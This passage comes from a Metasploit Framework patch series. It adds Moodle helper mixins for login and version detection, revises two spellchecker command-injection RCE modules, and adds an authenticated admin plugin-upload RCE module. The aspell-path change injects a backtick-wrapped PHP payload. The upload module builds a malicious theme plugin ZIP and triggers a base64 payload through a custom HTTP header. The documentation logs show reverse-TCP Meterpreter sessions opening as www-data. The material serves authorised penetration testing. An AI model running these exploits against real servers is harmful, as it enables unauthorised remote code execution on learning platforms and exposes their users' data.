bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56130) at 2021-08-29 10:22:03 -0400 +[*] Sleeping 5 seconds before cleanup +[*] Authenticating as user: admin +[*] Removing RCE from settings + +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data (33) +``` diff --git a/lib/msf/core/exploit/remote/http/moodle.rb b/lib/msf/core/exploit/remote/http/moodle.rb new file mode 100644 index 0000000000..a3dbd49939 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with moodle installations + module Moodle + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Moodle::Base + include Msf::Exploit::Remote::HTTP::Moodle::Version + include Msf::Exploit::Remote::HTTP::Moodle::URIs + include Msf::Exploit::Remote::HTTP::Moodle::Helpers + include Msf::Exploit::Remote::HTTP::Moodle::Login + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the moodle application', '/']) + ], Msf::Exploit::Remote::HTTP::Moodle + ) + + register_advanced_options( + [ + Msf::OptBool.new('MOODLECHECK', [true, 'Check if the website is a valid Moodle install', true]), + ], Msf::Exploit::Remote::HTTP::Moodle + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/base.rb b/lib/msf/core/exploit/remote/http/moodle/base.rb new file mode 100644 index 0000000000..8e23e8b5f8 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/base.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Base + # Checks if the site is online and running moodle + # + # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running moodle, nil otherwise + def moodle_and_online? + unless datastore['MOODLECHECK'] + vprint_status 'Skipping Moodle check...' + return true + end + + moodle_detect_regexes = [ + /"moodle":{"name":"moodle",/i, + ] + + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }, timeout, 10) # a cache inconsistency may result in 7 redirects + + return res if res && res.code == 200 && res.body && moodle_detect_regexes.any? { |r| res.body =~ r } + + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error("Error connecting to #{target_uri}: #{e}") + return nil + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/helpers.rb b/lib/msf/core/exploit/remote/http/moodle/helpers.rb new file mode 100644 index 0000000000..58da8ad267 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/helpers.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Helpers + # Helper methods are private and should not be called by modules + + private + + # Returns the POST data for a Wordpress login request + # + # @param user [String] Username + # @param pass [String] Password + # @param token [String] login token + # @return [Hash] The post data for vars_post Parameter + def moodle_helper_login_post_data(user, pass, token) + post_data = { + 'username' => user.to_s, + 'password' => pass.to_s, + 'logintoken' => token.to_s, + 'anchor' => '' + } + post_data + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/login.rb b/lib/msf/core/exploit/remote/http/moodle/login.rb new file mode 100644 index 0000000000..6be465c269 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/login.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Login + # performs a moodle login + # + # @param user [String] Username + # @param pass [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + def moodle_login(user, pass, timeout = 20) + res = send_request_cgi({ + 'uri' => moodle_url_login, + 'keep_cookies' => true + }, timeout) + return nil unless res + + res.body =~ /name="logintoken" value="([^"]+)">/ + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => moodle_url_login, + 'vars_post' => moodle_helper_login_post_data(user, pass, Regexp.last_match(1)), + 'keep_cookies' => true + }, timeout, 20) # typical redirect is 3-5, but it may do more if caching gets messed up on server + + if !res || (res.code != 200) || !res.body.include?('Dashboard') + return nil + end + + cookies = cookie_jar.cookies + cookie_jar.clear + return cookies + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/uris.rb b/lib/msf/core/exploit/remote/http/moodle/uris.rb new file mode 100644 index 0000000000..9444d599cf --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/uris.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::URIs + # Returns the Moodle Login URL + # + # @return [String] Moodle Login URL + def moodle_url_login + normalize_uri(target_uri.path, 'login', 'index.php') + end +end diff --git a/lib/msf/core/exploit/remote/http/moodle/version.rb b/lib/msf/core/exploit/remote/http/moodle/version.rb new file mode 100644 index 0000000000..6550a0722d --- /dev/null +++ b/lib/msf/core/exploit/remote/http/moodle/version.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Moodle::Version + # Used to check if the version is correct: must contain at least one dot + MOODLE_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)' + + # Extracts the Moodle version information from various sources + # + # @return [String,nil] moodle version if found, nil otherwise + def moodle_version + # detect version from /lib/upgrade.txt + version = moodle_version_helper(normalize_uri(target_uri.path, 'lib', 'upgrade.txt'), /=== #{MOODLE_VERSION_PATTERN} ===/i) + return version if version + + nil + end + + def moodle_version_helper(url, regex) + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => url + }, 3.5) + if res + match = res.body.match(regex) + return match[1] if match + end + + nil + end +end diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb similarity index 88% rename from modules/exploits/multi/http/moodle_cmd_exec.rb rename to modules/exploits/multi/http/moodle_spelling_binary_rce.rb index 6d0aeda667..c53e3bd22b 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_spelling_binary_rce.rb @@ -6,15 +6,17 @@ require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Moodle def initialize(info = {}) super( update_info( info, - 'Name' => 'Moodle Remote Command Execution', + 'Name' => 'Moodle Authenticated Spelling Binary RCE', 'Description' => %q{ Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. @@ -34,6 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ ['CVE', '2013-3630'], + ['CVE', '2013-4341'], # XSS ['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats'] ], @@ -67,6 +70,16 @@ class MetasploitModule < Msf::Exploit::Remote ) end + def check + return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? + v = moodle_version + return CheckCode::Detected('Unable to determine moodle version') if v.nil? + if Rex::Version.new(v) <= Rex::Version.new('2.5.2') + return CheckCode::Appears("Exploitable Moodle version #{v} detected") + end + CheckCode::Safe("Non-exploitable Moodle version #{v} detected") + end + def exploit init = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -77,6 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Authenticating as user: ' << datastore['USERNAME']) + # don't use the lib version of the login since this is older and has different parameters login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), diff --git a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb b/modules/exploits/multi/http/moodle_spelling_path_rce.rb similarity index 72% rename from modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb rename to modules/exploits/multi/http/moodle_spelling_path_rce.rb index 03190cc578..ee922e21b8 100644 --- a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_spelling_path_rce.rb @@ -3,25 +3,24 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# require 'rexml/document' - class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Moodle def initialize(info = {}) super( update_info( info, - 'Name' => 'Moodle SpellChecker Authenticated Remote Command Execution', + 'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution', 'Description' => %q{ Moodle allows an authenticated administrator to define spellcheck settings via the web interface. An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. - This module was tested against Moodle version 3.10.0, and 3.8.0. + This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -53,23 +52,10 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), - OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/']) ] ) end - def moodle? - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path) - }) - return CheckCode::Unknown('No response received from the target.') unless res - if res.body =~ /"moodle":{"name":"moodle",/ - return CheckCode::Detected('Moodle instance found, version unknown') - end - - CheckCode::Unknown('Website found, unknown service.') - end - def change_aspellpath(value = '') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), @@ -105,44 +91,6 @@ class MetasploitModule < Msf::Exploit::Remote }) end - def login - cookie_jar.clear - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), - 'keep_cookies' => true - }) - - fail_with(Failure::Unreachable, 'No response received from the target.') unless res - res.body =~ /name="logintoken" value="([^"]+)">/ - - print_status("Authenticating as user: #{datastore['USERNAME']} with login token #{Regexp.last_match(1)}") - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), - 'vars_post' => - { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'anchor' => '', - 'logintoken' => Regexp.last_match(1) - }, - 'keep_cookies' => true - }) - - if !res || (res.code != 303) || !res.headers['Location'].include?('testsession=2') - fail_with(Failure::NoAccess, 'Login failed') - end - - # follow login - res = send_request_cgi({ - 'uri' => res.headers['Location'], - 'keep_cookies' => true - }) - - fail_with(Failure::Unreachable, 'No response received from the target.') unless res - end - def set_spellchecker(checker = '') # '' is None in the gui, and is the default res = send_request_cgi({ @@ -178,11 +126,26 @@ class MetasploitModule < Msf::Exploit::Remote end def check - moodle? + return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? + + v = moodle_version + return CheckCode::Detected('Unable to determine moodle version') if v.nil? + # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation + # so maybe this is not going to get patched? Assuming 3.0.0+ + if Rex::Version.new(v) > Rex::Version.new('3.0.0') + return CheckCode::Appears("Exploitable Moodle version #{v} detected") + end + + CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end def exploit - login + print_status("Authenticating as user: #{datastore['USERNAME']}") + cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? + cookies.each do |cookie| + cookie_jar.add(cookie) + end print_status('Updating aspell path') # Site administration, Server, Server, System paths change_aspellpath("`php -r \"#{payload.encoded}\" &`") @@ -205,13 +168,23 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, 'Error triggering payload') if res end + # prefer cleanup over on_session since we may have changed things, regardless of successful exploit def cleanup print_status('Sleeping 5 seconds before cleanup') Rex.sleep(5) - login - print_status('Removing RCE from settings') - change_aspellpath - set_spellchecker + print_status("Authenticating as user: #{datastore['USERNAME']}") + cookie_jar.clear # clear cookies to prevent timeouts + cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) + if cookies.nil? || cookies.empty? + print_bad('Failed login during cleanup') + else + cookies.each do |cookie| + cookie_jar.add(cookie) + end + print_status('Removing RCE from settings') + change_aspellpath + set_spellchecker + end super end end From b969d57f220437854993a35da7bbae5ac508e5fb Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 29 Aug 2021 10:51:58 -0400 Subject: [PATCH 07/15] admin shell upload initial commit --- .../multi/http/moodle_admin_shell_upload.rb | 223 ++++++++++++++++++ 1 file changed, 223 insertions(+) create mode 100644 modules/exploits/multi/http/moodle_admin_shell_upload.rb diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb new file mode 100644 index 0000000000..24e0837286 --- /dev/null +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb @@ -0,0 +1,223 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution", + 'Description' => %q( + This module exploits a command execution vulnerability in Moodle 3.6.3. + An attacker can upload malicious file using the plugin installation area. + Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files. + After routine check, the moodle will accept the appropriate plugin file. + Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin. + The module receives a shell session from the server by placing malicious code in the language file. + + You must have an admin account to exploit this vulnerability. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus + ], + 'References' => + [ + ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'], + ['URL', 'https://moodle.org'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DisclosureDate' => "Apr 28 2019", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']), + OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']), + OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin']) + ] + ) + end + + def create_plugin_file + # There are syntax errors in creating zip file. So the payload was sent as base64. + plugin_file = Rex::Zip::Archive.new + @header = Rex::Text.rand_text_alpha_upper(4) + @plugin_name = Rex::Text.rand_text_alpha_lower(7) + + path = "#{@plugin_name}/version.php" + path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php" + # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. + plugin_file.add_file(path, "version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';") + plugin_file.add_file(path2, "") + plugin_file.pack + + end + + def exec_code(cookie) + handler + # Base64 was encoded in "PHP". This process was sent as "HTTP headers". + send_request_cgi({ + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }) + + end + + def upload(cookie) + # The beginning of the adventure o_O + print_status("Plugin zip file is being created and loaded...") + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php') + ) + + @sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info + @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload + @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info + @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info + + # creating multipart data for the upload plugin file + pdata = Rex::MIME::Message.new + pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"") + pdata.add_part('', nil, nil, 'form-data; name="title"') + pdata.add_part(@author, nil, nil, 'form-data; name="author"') + pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"') + pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"') + pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"') + pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') + pdata.add_part('', nil, nil, 'form-data; name="p"') + pdata.add_part('', nil, nil, 'form-data; name="page"') + pdata.add_part('filepicker', nil, nil, 'form-data; name="env"') + pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"') + pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"') + pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"') + pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"') + pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"') + pdata.add_part('/', nil, nil, 'form-data; name="savepath"') + data = pdata.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload') + }) + + if res.body =~ /draftfile.php/ + print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!") + print_status("Attempting to integrate the plugin...") + @zipfile = res.body.split('draft\/')[1].split('\/')[0] + plugin_integration(cookie) + else + fail_with(Failure::NoAccess, "Something went wrong!") + end + end + + def plugin_integration(cookie) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), + 'cookie' => cookie, + 'vars_post' => { + 'sesskey' => @sesskey, + '_qf__tool_installaddon_installfromzip_form' => '1', + 'mform_showmore_id_general' => '0', + 'mform_isexpanded_id_general' => '1', + 'zipfile' => @zipfile, + 'plugintype' => 'theme', + 'rootdir' => '', + 'submitbutton' => 'Install+plugin+from+the+ZIP+file' + } + ) + + if res.body =~ /installzipstorage/ + print_good("Plugin successfully integrated!") + storage = res.body.split('installzipstorage=')[1].split('&')[0] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), + 'cookie' => cookie, + 'vars_post' => { + 'installzipcomponent' => "theme_#{@plugin_name}", + 'installzipstorage' => storage, + 'installzipconfirm' => '1', + 'sesskey' => @sesskey + } + ) + exec_code(cookie) + + else + fail_with(Failure::NoAccess, "Something went wrong!") + end + end + + def login(uname, pass) + # 1st request to get MoodleSession and LoginToken + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login', 'index.php') + ) + cookie = res.get_cookies + token = res.body.split('logintoken" value="')[1].split('"')[0] + + # 2nd request to login validation + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), + 'cookie' => cookie, + 'vars_post' => { + 'anchor' => '', + 'logintoken' => token, + 'username' => uname, + 'password' => pass + } + ) + + cookie = res.get_cookies + location = res.redirection.to_s + if res and res.code = 303 && location.include?('testsession') + return cookie + end + + fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") + return nil + end + + def check + # Basic check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt') + ) + + if res && res.code == 200 && res.body =~ /=== 3.7/ + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + + def exploit + cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + print_good("Authentication was successful with user: #{datastore['USERNAME']}") + upload(cookie) # start the adventure + end +## +# The end of the adventure (o_O) // AkkuS +## +end From 5ea2cf9e5aadc22083cf0bc85b8a2c89fbfa73d1 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 29 Aug 2021 16:59:44 -0400 Subject: [PATCH 08/15] moodle_admin_shell_upload working and minor other fixes --- .../multi/http/moodle_admin_shell_upload.md | 245 +++++++++++++++ .../multi/http/moodle_admin_shell_upload.rb | 281 ++++++++++-------- .../multi/http/moodle_spelling_path_rce.rb | 2 +- .../unix/webapp/wp_admin_shell_upload.rb | 2 +- 4 files changed, 398 insertions(+), 132 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md diff --git a/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md new file mode 100644 index 0000000000..5a0be205bc --- /dev/null +++ b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md @@ -0,0 +1,245 @@ +## Vulnerable Application + +This module will generate a plugin which can receive a malicious +payload request and upload it to a server running Moodle +provided valid admin credentials are used. Then the payload +is sent for execution, and the plugin uninstalled. + +You must have an admin account to exploit this vulnerability. + +Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2 + +## Verification Steps + +1. Install moodle +1. Start msfconsole +1. Do: `use exploits/multi/http/moodle_admin_shell_upload` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + +### Username + +Username for an admin user. Default is `admin` + +### Password + +Password for an admin user + +## Scenarios + +### Moodle 3.8.0 on Ubuntu 20.04 + +``` +resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +resource (moodle_upload.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_upload.rb)> set username admin +username => admin +resource (moodle_upload.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_upload.rb)> set targeturi /moodle-3.8.0/ +targeturi => /moodle-3.8.0/ +resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_upload.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.8 detected +[*] Authenticating as user: admin +[+] Authentication was successful with user: admin +[*] Getting variables required for upload +[*] Creating plugin named: tqmdaefi +[*] Uploading plugin +[+] Plugin tqmdaefi.zip file successfully uploaded to target! +[*] Attempting to integrate the plugin... +[*] Integrating plugin +[+] Plugin successfully integrated! +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56156) at 2021-08-29 16:03:40 -0400 +[*] Uninstalling plugin + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` + +### Moodle 3.6.3 on Ubuntu 20.04 + +``` +resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +resource (moodle_upload.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_upload.rb)> set username admin +username => admin +resource (moodle_upload.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_upload.rb)> set targeturi /moodle-3.6.3/ +targeturi => /moodle-3.6.3/ +resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_upload.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.6.3 detected +[*] Authenticating as user: admin +[+] Authentication was successful with user: admin +[*] Getting variables required for upload +[*] Creating plugin named: ttvszmjy +[*] Uploading plugin +[+] Plugin ttvszmjy.zip file successfully uploaded to target! +[*] Attempting to integrate the plugin... +[*] Integrating plugin +[+] Plugin successfully integrated! +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56158) at 2021-08-29 16:09:49 -0400 +[*] Uninstalling plugin + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` + +### Moodle 3.9.0 on Ubuntu 20.04 + +``` +resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_upload.rb)> set username admin +username => admin +resource (moodle_upload.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_upload.rb)> set targeturi /moodle-3.9.0/ +targeturi => /moodle-3.9.0/ +resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_upload.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected +[*] Authenticating as user: admin +[+] Authentication was successful with user: admin +[*] Getting variables required for upload +[*] Creating plugin named: jwnsnjof +[*] Uploading plugin +[+] Plugin jwnsnjof.zip file successfully uploaded to target! +[*] Attempting to integrate the plugin... +[*] Integrating plugin +[+] Plugin successfully integrated! +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56182) at 2021-08-29 16:47:00 -0400 +[*] Uninstalling plugin + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` + +### Moodle 3.10.0 on Ubuntu 20.04 + +``` +resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_upload.rb)> set username admin +username => admin +resource (moodle_upload.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_upload.rb)> set targeturi /moodle-3.10.0/ +targeturi => /moodle-3.10.0/ +resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_upload.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected +[*] Authenticating as user: admin +[+] Authentication was successful with user: admin +[*] Getting variables required for upload +[*] Creating plugin named: xstassyj +[*] Uploading plugin +[+] Plugin xstassyj.zip file successfully uploaded to target! +[*] Attempting to integrate the plugin... +[*] Integrating plugin +[+] Plugin successfully integrated! +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56186) at 2021-08-29 16:49:52 -0400 +[*] Uninstalling plugin + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` + +### Moodle 3.11.2 on Ubuntu 20.04 + +``` +resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_upload.rb)> set username admin +username => admin +resource (moodle_upload.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_upload.rb)> set targeturi /moodle-3.11.2/ +targeturi => /moodle-3.11.2/ +resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_upload.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_upload.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected +[*] Authenticating as user: admin +[+] Authentication was successful with user: admin +[*] Getting variables required for upload +[*] Creating plugin named: ksrhyfeq +[*] Uploading plugin +[+] Plugin ksrhyfeq.zip file successfully uploaded to target! +[*] Attempting to integrate the plugin... +[*] Integrating plugin +[+] Plugin successfully integrated! +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56190) at 2021-08-29 16:54:03 -0400 +[*] Uninstalling plugin + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` diff --git a/modules/exploits/multi/http/moodle_admin_shell_upload.rb b/modules/exploits/multi/http/moodle_admin_shell_upload.rb index 24e0837286..27d6c28827 100644 --- a/modules/exploits/multi/http/moodle_admin_shell_upload.rb +++ b/modules/exploits/multi/http/moodle_admin_shell_upload.rb 